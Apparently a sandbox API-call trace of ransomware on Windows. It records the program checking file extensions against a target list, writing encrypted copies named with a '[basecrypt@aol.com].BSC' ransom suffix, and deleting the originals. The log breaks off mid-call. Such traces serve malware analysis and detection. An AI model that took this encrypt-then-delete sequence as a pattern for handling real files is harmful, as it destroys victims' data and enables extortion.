[0103.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0103.020] lstrlenW (lpString=".dbf") returned 4 [0103.020] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0103.020] lstrlenW (lpString=".1cd") returned 4 [0103.020] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.020] lstrlenW (lpString="C:\\588bce7c90097ed212\\1044\\eula.rtf") returned 35 [0103.020] lstrlenW (lpString=".jpg") returned 4 [0103.021] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.021] lstrcmpiW (lpString1=".rtf", lpString2=".BSC") returned 1 [0103.021] lstrlenW (lpString="eula.rtf") returned 8 [0103.021] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0103.021] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=3683) returned 1 [0103.021] CloseHandle (hObject=0x34c) returned 1 [0103.021] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 0x80 [0103.021] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.021] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0103.022] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.022] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.022] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0103.022] GetLastError () returned 0x0 [0103.022] ReadFile (in: hFile=0x34c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0xe63, lpOverlapped=0x0) returned 1 [0103.216] WriteFile (in: hFile=0x2ec, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0xe70, lpOverlapped=0x0) returned 1 [0103.217] ReadFile (in: hFile=0x34c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.217] WriteFile (in: hFile=0x2ec, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0xe4, lpOverlapped=0x0) returned 1 [0103.217] SetEndOfFile (hFile=0x2ec) returned 1 [0103.218] CloseHandle (hObject=0x2ec) returned 1 [0103.218] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.218] SetEndOfFile (hFile=0x34c) returned 1 [0103.219] CloseHandle (hObject=0x34c) returned 1 [0103.219] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.220] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1046\\eula.rtf")) returned 1 [0103.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0103.220] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0103.220] lstrlenW (lpString=".doc") returned 4 [0103.220] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.220] lstrlenW (lpString=".docx") returned 5 [0103.220] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.220] lstrlenW (lpString=".pdf") returned 4 [0103.220] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.220] lstrlenW (lpString=".xls") returned 4 [0103.220] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.220] lstrlenW (lpString=".xlsx") returned 5 [0103.220] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.220] lstrlenW (lpString=".ppt") returned 4 [0103.221] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0103.221] lstrlenW (lpString=".zip") returned 4 [0103.221] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.221] lstrlenW (lpString=".rar") returned 4 [0103.221] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.221] lstrlenW (lpString=".bz2") returned 4 [0103.221] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.221] lstrlenW (lpString=".7z") returned 3 [0103.221] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0103.221] lstrlenW (lpString=".dbf") returned 4 [0103.221] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0103.221] lstrlenW (lpString=".1cd") returned 4 [0103.221] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0103.221] lstrlenW (lpString=".jpg") returned 4 [0103.221] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0103.221] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0103.221] lstrlenW (lpString=".doc") returned 4 [0103.221] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0103.221] lstrlenW (lpString=".docx") returned 5 [0103.221] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0103.222] lstrlenW (lpString=".pdf") returned 4 [0103.222] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0103.222] lstrlenW (lpString=".xls") returned 4 [0103.222] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0103.222] lstrlenW (lpString=".xlsx") returned 5 [0103.222] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0103.222] lstrlenW (lpString=".ppt") returned 4 [0103.222] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0103.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0103.222] lstrlenW (lpString=".zip") returned 4 [0103.222] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0103.222] lstrlenW (lpString=".rar") returned 4 [0103.222] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0103.222] lstrlenW (lpString=".bz2") returned 4 [0103.222] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0103.222] lstrlenW (lpString=".7z") returned 3 [0103.222] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0103.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0103.222] lstrlenW (lpString=".dbf") returned 4 [0103.222] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0103.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0103.222] lstrlenW (lpString=".1cd") returned 4 [0103.222] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0103.222] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\eula.rtf") returned 35 [0103.222] lstrlenW (lpString=".jpg") returned 4 [0103.222] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0103.223] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0103.223] lstrlenW (lpString="LocalizedData.xml") returned 17 [0103.223] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0103.223] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=77680) returned 1 [0103.223] CloseHandle (hObject=0x34c) returned 1 [0103.223] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 0x80 [0103.223] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.223] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0103.224] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.224] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.224] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0103.224] GetLastError () returned 0x0 [0103.224] ReadFile (in: hFile=0x34c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x12f70, lpOverlapped=0x0) returned 1 [0103.302] WriteFile (in: hFile=0x2ec, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0x12f80, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0x12f80, lpOverlapped=0x0) returned 1 [0103.304] ReadFile (in: hFile=0x34c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.304] WriteFile (in: hFile=0x2ec, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0xf6, lpOverlapped=0x0) returned 1 [0103.305] SetEndOfFile (hFile=0x2ec) returned 1 [0103.305] CloseHandle (hObject=0x2ec) returned 1 [0103.307] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.307] SetEndOfFile (hFile=0x34c) returned 1 [0103.308] CloseHandle (hObject=0x34c) returned 1 [0103.309] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.310] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1053\\localizeddata.xml")) returned 1 [0103.310] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.310] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.310] lstrlenW (lpString=".doc") returned 4 [0103.310] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.310] lstrlenW (lpString=".docx") returned 5 [0103.311] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.311] lstrlenW (lpString=".pdf") returned 4 [0103.311] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.311] lstrlenW (lpString=".xls") returned 4 [0103.311] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.311] lstrlenW (lpString=".xlsx") returned 5 [0103.311] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.311] lstrlenW (lpString=".ppt") returned 4 [0103.311] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.311] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.311] lstrlenW (lpString=".zip") returned 4 [0103.311] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.311] lstrlenW (lpString=".rar") returned 4 [0103.311] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.311] lstrlenW (lpString=".bz2") returned 4 [0103.311] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.311] lstrlenW (lpString=".7z") returned 3 [0103.311] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.311] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.311] lstrlenW (lpString=".dbf") returned 4 [0103.311] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.311] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.311] lstrlenW (lpString=".1cd") returned 4 [0103.311] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.311] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.311] lstrlenW (lpString=".jpg") returned 4 [0103.311] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.312] lstrlenW (lpString=".doc") returned 4 [0103.312] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.312] lstrlenW (lpString=".docx") returned 5 [0103.312] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.312] lstrlenW (lpString=".pdf") returned 4 [0103.312] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.312] lstrlenW (lpString=".xls") returned 4 [0103.312] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.312] lstrlenW (lpString=".xlsx") returned 5 [0103.312] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.312] lstrlenW (lpString=".ppt") returned 4 [0103.312] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.312] lstrlenW (lpString=".zip") returned 4 [0103.312] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.312] lstrlenW (lpString=".rar") returned 4 [0103.312] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.312] lstrlenW (lpString=".bz2") returned 4 [0103.312] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.312] lstrlenW (lpString=".7z") returned 3 [0103.312] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.312] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.312] lstrlenW (lpString=".dbf") returned 4 [0103.312] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.313] lstrlenW (lpString=".1cd") returned 4 [0103.313] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.313] lstrlenW (lpString="C:\\588bce7c90097ed212\\1053\\LocalizedData.xml") returned 44 [0103.313] lstrlenW (lpString=".jpg") returned 4 [0103.313] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.313] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0103.313] lstrlenW (lpString="LocalizedData.xml") returned 17 [0103.313] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0103.313] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=60684) returned 1 [0103.313] CloseHandle (hObject=0x34c) returned 1 [0103.320] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 0x80 [0103.320] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.320] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0103.321] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.321] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.321] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0103.321] GetLastError () returned 0x0 [0103.321] ReadFile (in: hFile=0x34c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0xed0c, lpOverlapped=0x0) returned 1 [0103.453] WriteFile (in: hFile=0x2ec, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xed10, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0xed10, lpOverlapped=0x0) returned 1 [0103.454] ReadFile (in: hFile=0x34c, lpBuffer=0x406d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x367fecc, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesRead=0x367fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.455] WriteFile (in: hFile=0x2ec, lpBuffer=0x406d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x367fc94, lpOverlapped=0x0 | out: lpBuffer=0x406d020*, lpNumberOfBytesWritten=0x367fc94*=0xf6, lpOverlapped=0x0) returned 1 [0103.455] SetEndOfFile (hFile=0x2ec) returned 1 [0103.455] CloseHandle (hObject=0x2ec) returned 1 [0103.459] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.459] SetEndOfFile (hFile=0x34c) returned 1 [0103.460] CloseHandle (hObject=0x34c) returned 1 [0103.460] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.461] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\2052\\localizeddata.xml")) returned 1 [0103.461] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.461] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.461] lstrlenW (lpString=".doc") returned 4 [0103.461] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.461] lstrlenW (lpString=".docx") returned 5 [0103.461] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.461] lstrlenW (lpString=".pdf") returned 4 [0103.461] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.461] lstrlenW (lpString=".xls") returned 4 [0103.461] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.461] lstrlenW (lpString=".xlsx") returned 5 [0103.461] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.461] lstrlenW (lpString=".ppt") returned 4 [0103.461] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.461] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.461] lstrlenW (lpString=".zip") returned 4 [0103.461] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.461] lstrlenW (lpString=".rar") returned 4 [0103.462] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.462] lstrlenW (lpString=".bz2") returned 4 [0103.462] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.462] lstrlenW (lpString=".7z") returned 3 [0103.462] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.462] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.462] lstrlenW (lpString=".dbf") returned 4 [0103.462] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.462] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.462] lstrlenW (lpString=".1cd") returned 4 [0103.462] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.462] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.462] lstrlenW (lpString=".jpg") returned 4 [0103.462] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.462] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.462] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.462] lstrlenW (lpString=".doc") returned 4 [0103.462] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0103.462] lstrlenW (lpString=".docx") returned 5 [0103.462] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0103.462] lstrlenW (lpString=".pdf") returned 4 [0103.462] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0103.462] lstrlenW (lpString=".xls") returned 4 [0103.462] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0103.462] lstrlenW (lpString=".xlsx") returned 5 [0103.462] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0103.462] lstrlenW (lpString=".ppt") returned 4 [0103.463] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0103.463] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.463] lstrlenW (lpString=".zip") returned 4 [0103.463] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0103.463] lstrlenW (lpString=".rar") returned 4 [0103.463] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0103.463] lstrlenW (lpString=".bz2") returned 4 [0103.463] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0103.463] lstrlenW (lpString=".7z") returned 3 [0103.463] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0103.463] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.463] lstrlenW (lpString=".dbf") returned 4 [0103.463] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0103.463] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.463] lstrlenW (lpString=".1cd") returned 4 [0103.463] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0103.463] lstrlenW (lpString="C:\\588bce7c90097ed212\\2052\\LocalizedData.xml") returned 44 [0103.463] lstrlenW (lpString=".jpg") returned 4 [0103.463] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0103.463] lstrcmpiW (lpString1=".xml", lpString2=".BSC") returned 1 [0103.463] lstrlenW (lpString="LocalizedData.xml") returned 17 [0103.463] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0103.619] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x367ff14 | out: lpFileSize=0x367ff14*=60816) returned 1 [0103.619] CloseHandle (hObject=0x320) returned 1 [0103.619] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml")) returned 0x80 [0103.619] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.619] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0103.619] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.619] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x367fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.619] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\LocalizedData.xml.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\3076\\localizeddata.xml.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0103.620] GetLastError () returned 0x0 [0103.620] ReadFile (in: hFile=0x320, lpBuffer=0x406d020, 